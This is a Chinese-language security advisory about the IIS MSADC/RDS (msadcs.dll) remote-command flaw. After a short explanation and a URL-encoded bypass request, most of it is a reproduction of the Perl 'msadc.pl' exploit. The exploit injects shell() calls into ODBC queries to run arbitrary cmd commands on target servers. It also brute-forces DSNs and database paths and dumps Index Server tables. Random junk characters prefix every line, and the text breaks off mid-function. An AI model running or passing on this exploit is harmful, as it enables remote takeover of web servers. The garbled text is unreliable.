IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:ek^M (
&3IkC(yD 涉及程序:
NL:dyV} Microsoft NT server
@-K[@e/uwy #*rJI3 描述:
MtwlZg`c3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^O<'Qp,[: <o9i;[+H- 详细:
QDj%m %Xd 如果你没有时间读详细内容的话,就删除:
@H$8;CRM c:\Program Files\Common Files\System\Msadc\msadcs.dll
4<tbZP3/6) 有关的安全问题就没有了。
\^0>h`[ G0m$bi=z 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
iz;5: Kn3Xn`P? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
O*/%zr 关于利用ODBC远程漏洞的描述,请参看:
?7pn%_S ZD]{HxGL! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yp4[EqME g?|Z/eVJ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@r[SqGa: http://www.microsoft.com/security/bulletins/MS99-025faq.asp 66-\}8f8a &\ca ? # 这里不再论述。
{/)i}V#RE Ohj^Z&j 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Z&?4<-@6\p CB-;Jqb /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%}H
2 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
@i> r(X s>G]U)d<' 8ZbXGQ #将下面这段保存为txt文件,然后: "perl -x 文件名"
7bbFUUUG" g]JJ!$*1 #!perl
CAvi P61T #
PA803R74 # MSADC/RDS 'usage' (aka exploit) script
9i 9
,X^= #
]v5/K # by rain.forest.puppy
w%TrL+v #
"0nsY E # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wT19m # beta test and find errors!
hC8WRxEGq t
zd#9 # use Socket; use Getopt::Std;
q9_AL8_ getopts("e:vd:h:XR", \%args);
Wtw,YFT #J3}H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#?r|6<4X Nz3+yxv1 if (!defined $args{h} && !defined $args{R}) {
&QD)1b[U print qq~
N;YFr Usage: msadc.pl -h <host> { -d <delay> -X -v }
]=ApYg7! -h <host> = host you want to scan (ip or domain)
@",#'eC" -d <seconds> = delay between calls, default 1 second
GPGPteC -X = dump Index Server path table, if available
6^J[SQ6P -v = verbose
]!!?gnPd5 -e = external dictionary file for step 5
KyT=:f
V 451.VI}MR Or a -R will resume a command session
!pRu?5 ;p~!('{P ~; exit;}
&d6ud| H;_Ce'oU( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
{ Mb<onW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
jyF*JQjK4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3B%7SX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ap?,y? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!hfpa_5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3mYW] ;CS[Ja>e if (!defined $args{R}){ $ret = &has_msadc;
Q_fgpjEh/t die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S-\wX.`R1 PN9vg9' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>Q(\vl@N= . "cmd /c ";
*szs"mQ/ $in=<STDIN>; chomp $in;
W//+[ $command="cmd /c " . $in ;
W3Ee3 Md>C!c if (defined $args{R}) {&load; exit;}
aynaV 3t.!5L print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
05HCr"k &try_btcustmr;
Hci>q`p# uUHWTyoO
print "\nStep 2: Trying to make our own DSN...";
4<}@hk
Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"]p&7 YwY?tOxBe print "\nStep 3: Trying known DSNs...";
D}}?{pe &known_dsn;
eJ<P rq7yNt print "\nStep 4: Trying known .mdbs...";
r6Vw!^]8u8 &known_mdb;
wDoCc: D5Sbs( if (defined $args{e}){
QaEiP n~ print "\nStep 5: Trying dictionary of DSN names...";
Nlm}'Xt &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(>u1O V IMdp" print "Sorry Charley...maybe next time?\n";
%nq<nfDT exit;
&,PA+# .j,xh )v" ##############################################################################
Hr}"g@ < <W3p! sub sendraw { # ripped and modded from whisker
[bo"!Qk% sleep($delay); # it's a DoS on the server! At least on mine...
91&=UUkK? my ($pstr)=@_;
=Oh$pZRymu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&Q"vXs6Gt die("Socket problems\n");
!~F oy F if(connect(S,pack "SnA4x8",2,80,$target)){
{U3jJ#K select(S); $|=1;
p}!)4EI= print $pstr; my @in=<S>;
am.d^' select(STDOUT); close(S);
j?$B@Zk return @in;
6 mLC{X[ } else { die("Can't connect...\n"); }}
_'V o3b ?uTuO
##############################################################################
7u^wO< .^F&6'h1H sub make_header { # make the HTTP request
/#:*hn my $msadc=<<EOT
DtGkhq; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]
X]!xvN@ User-Agent: ACTIVEDATA
o8E<_rei Host: $ip
zSsBbu: Content-Length: $clen
O3slYd&V Connection: Keep-Alive
\J?&XaO= XZ$g~r ADCClientVersion:01.06
w >
GW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8aRmHy"9l Jr2>D= --!ADM!ROX!YOUR!WORLD!
(?XIhpd Content-Type: application/x-varg
qx >Z@o Content-Length: $reqlen
u}R|q IhSXU<] EOT
d^IX(y*$ ; $msadc=~s/\n/\r\n/g;
JDnWBE V return $msadc;}
{nA+-=T ^"/TWl>jB ##############################################################################
Wx;%W"a g0/R\ sub make_req { # make the RDS request
S$wC{7?f my ($switch, $p1, $p2)=@_;
loq2+( my $req=""; my $t1, $t2, $query, $dsn;
w\Q(wH' ~^Ga?Q_ if ($switch==1){ # this is the btcustmr.mdb query
8?EKF+.u| $query="Select * from Customers where City=" . make_shell();
Op9+5]XF $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9
s2z=^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J$jLGy& ' G6Wa0Z elsif ($switch==2){ # this is general make table query
srImk6YD $query="create table AZZ (B int, C varchar(10))";
l!j=em@ $dsn="$p1";}
UiK)m:NU ep48 r> elsif ($switch==3){ # this is general exploit table query
^eRbp?H*T $query="select * from AZZ where C=" . make_shell();
UY.o,I>s $dsn="$p1";}
M6]:^;p' 0H}O6kU elsif ($switch==4){ # attempt to hork file info from index server
Uul5h8F $query="select path from scope()";
rO1N@kd/ $dsn="Provider=MSIDXS;";}
ky]L`w 5X]f}6kT elsif ($switch==5){ # bad query
fx^yC.$2 $query="select";
V5jy,Qi) $dsn="$p1";}
] TZ/=Id 11A;z[Zk $t1= make_unicode($query);
[Q8vS ;. $t2= make_unicode($dsn);
8jky-r $req = "\x02\x00\x03\x00";
$9Xn.,W $req.= "\x08\x00" . pack ("S1", length($t1));
9I1`* 0A $req.= "\x00\x00" . $t1 ;
/(s N@kt $req.= "\x08\x00" . pack ("S1", length($t2));
&" yoJ<L $req.= "\x00\x00" . $t2 ;
C6tfFS3bq $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
v)zxQuH]^ return $req;}
J?&%fI q?0&0 ##############################################################################
z=rSb4"W U:aaa sub make_shell { # this makes the shell() statement
,;h}<("q return "'|shell(\"$command\")|'";}
H,!yG5yF AY9#{c>X ##############################################################################
~Bt>Y VW] ,R1q sub make_unicode { # quick little function to convert to unicode
0SZ:C(] my ($in)=@_; my $out;
8feLhWg'P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^w
jM u5f return $out;}
(gutDUO; W=K+kB ##############################################################################
[&p/7 QA~Lm sub rdo_success { # checks for RDO return success (this is kludge)
|A)a
='Ap my (@in) = @_; my $base=content_start(@in);
mP
+H
C)2 if($in[$base]=~/multipart\/mixed/){
[hiV# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;l@Ge`&u return 0;}
cw~-%%/ GRgpy ##############################################################################
G|UeR=/ OK:YnSk " sub make_dsn { # this makes a DSN for us
$h1pL>^J my @drives=("c","d","e","f");
[5P1 pkZ print "\nMaking DSN: ";
55Ye7P-d foreach $drive (@drives) {
.`h:1FP8 print "$drive: ";
qD}O_<_1ym my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xHn "D@ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
jXyK[q&O& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2&<&q J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d]^\qeG^p return 0 if $2 eq "404"; # not found/doesn't exist
~=Fp0l)# if($2 eq "200") {
,LDdL foreach $line (@results) {
[g lhru=+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)dRBI)P } return 0;}
kE{-h'xADD 8-Z|$F" ##############################################################################
fjy2\J! |
Fk9ME sub verify_exists {
cq1)b\ | my ($page)=@_;
J/A UOInh my @results=sendraw("GET $page HTTP/1.0\n\n");
kO8oH8Vt return $results[0];}
N8`q.;qewz ,k6V?{ZA ##############################################################################
X}]g;|~SN -+ Mh('K sub try_btcustmr {
9Ui|8e~= my @drives=("c","d","e","f");
G-RE my @dirs=("winnt","winnt35","winnt351","win","windows");
m/1;os5+8 22v=
A6 = foreach $dir (@dirs) {
!;&{Q^} print "$dir -> "; # fun status so you can see progress
<ta#2 foreach $drive (@drives) {
0d #jiG print "$drive: "; # ditto
7j{63d`2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
J]$]zD $reqlenlen=length( "$reqlen" );
Jnq}SUev $clen= 206 + $reqlenlen + $reqlen;
0"xD>ue& ?lQ-HO Aw my @results=sendraw(make_header() . make_req(1,$drive,$dir));
T2MXwd&l if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
A!aki}aT~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Ve|=<7%%S &v&e-|r8; ##############################################################################
Zl=IZ?F
PQ4)kVT sub odbc_error {
#s|/5[i my (@in)=@_; my $base;
#TG.weTC my $base = content_start(@in);
}FT8[m< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
JReJlDu $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FKkL%:? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a3E.rr;b $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1<&nHFJ;[ return $in[$base+4].$in[$base+5].$in[$base+6];}
J I[9c,N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%&S :W%qm? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
eR:!1z_h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pwr]lV$w \kVi&X=q: ##############################################################################
'jd fUB gjex; h sub verbose {
GF^?#Jh my ($in)=@_;
OE_A$8L return if !$verbose;
jmh$6 N%
F print STDOUT "\n$in\n";}
*odwg$ {,zn#hU.R ##############################################################################
fs%l j_t 9|1J pb sub save {
K._*
~-A my ($p1, $p2, $p3, $p4)=@_;
s
N|7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Xmaj7*f>p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\TTt!"aK close OUT;}
""u>5f guWX$C-+1 ##############################################################################
m<| * g0-J8&?X sub load {
=/L;}m)7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W>(p4m open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Pvu*Y0_p @p=<IN>; close(IN);
cr<ty"3\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4Q
n5Mr@< $target= inet_aton($ip) || die("inet_aton problems");
a) 5;Od print "Resuming to $ip ...";
#a=~a=c(^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
sj\kp
ni if($p[1]==1) {
6=i@ttAK $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
;$$.L
bb8 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8S*W+l19f my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
f<v:Tg.[ if (rdo_success(@results)){print "Success!\n";}
,T\)%q else { print "failed\n"; verbose(odbc_error(@results));}}
a>XlkkX elsif ($p[1]==3){
.0f6b if(run_query("$p[3]")){
bf1EMai" print "Success!\n";} else { print "failed\n"; }}
76r RF elsif ($p[1]==4){
~AbTbQ3 if(run_query($drvst . "$p[3]")){
<m!(eLm+B print "Success!\n"; } else { print "failed\n"; }}
tX *}l|;( exit;}
F9 q9BH etkKVr;Kv ##############################################################################
b Q6<R4 t
(>} sub create_table {
n%1I}?$fO my ($in)=@_;
_k2*2db $reqlen=length( make_req(2,$in,"") ) - 28;
?ta(`+" $reqlenlen=length( "$reqlen" );
oD>j26Q $clen= 206 + $reqlenlen + $reqlen;
{X'D07 q my @results=sendraw(make_header() . make_req(2,$in,""));
8*t8F\U# return 1 if rdo_success(@results);
OD\F*Ry~ my $temp= odbc_error(@results); verbose($temp);
&]mZp& return 1 if $temp=~/Table 'AZZ' already exists/;
~Dz`O"X3 return 0;}
Q1?09 <qpDAz4k ##############################################################################
}"CX` a2tRmil sub known_dsn {
G(6MLh1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}E%#g# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.uGvmD<;x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
;)nV "banner", "banners", "ads", "ADCDemo", "ADCTest");
]-b`uYb 7(oX1hN foreach $dSn (@dsns) {
mqFo`Ee print ".";
lE@ V>%b next if (!is_access("DSN=$dSn"));
rbw5.NU if(create_table("DSN=$dSn")){
':jsCeSB print "$dSn successful\n";
'ixu+.ZL/ if(run_query("DSN=$dSn")){
V`/D!8> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9X- w5$< print "Something's borked. Use verbose next time\n";}}} print "\n";}
,m)k;co^ D#I^;Xg0h ##############################################################################
2GRdfX fI([vI sub is_access {
|)pRkn8x my ($in)=@_;
RZg8y+jM $reqlen=length( make_req(5,$in,"") ) - 28;
Z:2a_Atm $reqlenlen=length( "$reqlen" );
[G/ti&Od^ $clen= 206 + $reqlenlen + $reqlen;
g*& |Eq/ my @results=sendraw(make_header() . make_req(5,$in,""));
I}S~,4 my $temp= odbc_error(@results);
f1_b``M verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?Dr K2;q return 0;}
6?C|pO X5hamkM*m ##############################################################################
qij<XNZU"& yD-L:)@" sub run_query {
&=-ZNWNo my ($in)=@_;
c\\'x\J7 $reqlen=length( make_req(3,$in,"") ) - 28;
vTdJe $reqlenlen=length( "$reqlen" );
K_" denzT+ $clen= 206 + $reqlenlen + $reqlen;
CC8)yO my @results=sendraw(make_header() . make_req(3,$in,""));
t(RJc return 1 if rdo_success(@results);
@*VfG CQ( my $temp= odbc_error(@results); verbose($temp);
<V~B8C!) return 0;}
|v6kZ0B< %]m/fo4b ##############################################################################
Hv~&RZpe Yi5^#G sub known_mdb {
8`{)1.d5[ my @drives=("c","d","e","f","g");
>$RQ my @dirs=("winnt","winnt35","winnt351","win","windows");
z3bRV{{YqN my $dir, $drive, $mdb;
{%"n[DLps my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\@}G'7{ !G8=S'~~ # this is sparse, because I don't know of many
UCz\SZ{za my @sysmdbs=( "\\catroot\\icatalog.mdb",
1[g -f, "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IOjp'6Yr "\\system32\\certmdb.mdb",
/qd5{%: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
s
IE2a0+ C;UqLMrOI my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
D["~G v "\\cfusion\\cfapps\\forums\\forums_.mdb",
e` QniTkT "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
hT0[O "\\cfusion\\cfapps\\security\\realm_.mdb",
XB.xIApmy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U{JD\G8m "\\cfusion\\database\\cfexamples.mdb",
<0w"$.K#3 "\\cfusion\\database\\cfsnippets.mdb",
)9]DJ!]&Q" "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3bd(.he2u "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
g5OKhL0u "\\cfusion\\brighttiger\\database\\cleam.mdb",
!<8-juY "\\cfusion\\database\\smpolicy.mdb",
tpY]Mz[J "\\cfusion\\database\cypress.mdb",
2d# 3LnO "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[XKudw% "\\website\\cgi-win\\dbsample.mdb",
^c-8~r|y, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
W0 n?S
" "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,l47;@kr ); #these are just
IW{}l=D/ foreach $drive (@drives) {
y v58~w*" foreach $dir (@dirs){
@,:6wKMc foreach $mdb (@sysmdbs) {
(2J\o print ".";
F4*ssx if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9zL(PkC%\ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vmj'X>Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
L7`=ec< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
]J(BaX4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
^cnTZzT#Q _t/~C*=:= foreach $drive (@drives) {
T2ZB(B D foreach $mdb (@mdbs) {
gr^TL1( print ".";
* @=ZzL if(create_table($drv . $drive . $dir . $mdb)){
$ o
} print "\n" . $drive . $dir . $mdb . " successful\n";
1s _N!a if(run_query($drv . $drive . $dir . $mdb)){
{44#<A< print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)4e8LO } else { print "Something's borked. Use verbose next time\n"; }}}}
Bc*FH>E }
)vsX (/WU t+ vz=` ##############################################################################
FX1H2N( UasU/Q < sub hork_idx {
S?[@/35)
print "\nAttempting to dump Index Server tables...\n";
Q@
Ze+IhK` print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
zMXQfR $reqlen=length( make_req(4,"","") ) - 28;
%xv*#.<Vj $reqlenlen=length( "$reqlen" );
|E9'ii&?B $clen= 206 + $reqlenlen + $reqlen;
)kT.3
Q my @results=sendraw2(make_header() . make_req(4,"",""));
<2SWfH1> if (rdo_success(@results)){
6E#znRi6IE my $max=@results; my $c; my %d;
CUN1.i<pk8 for($c=19; $c<$max; $c++){
Ii&\LJ $results[$c]=~s/\x00//g;
kW7$Gw]- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ueyQ&+6r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1{AK=H') $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+'$5Jtz $d{"$1$2"}="";}
)*XD"-9 foreach $c (keys %d){ print "$c\n"; }
ka_(8 } else {print "Index server doesn't seem to be installed.\n"; }}
}a%1$>sj +ag_ w} ##############################################################################
U,K=(I7OBX i IM\_<? sub dsn_dict {
3yrb7Rn3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w>o/)TTJL while(<IN>){
s1]m^, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
v!W{j&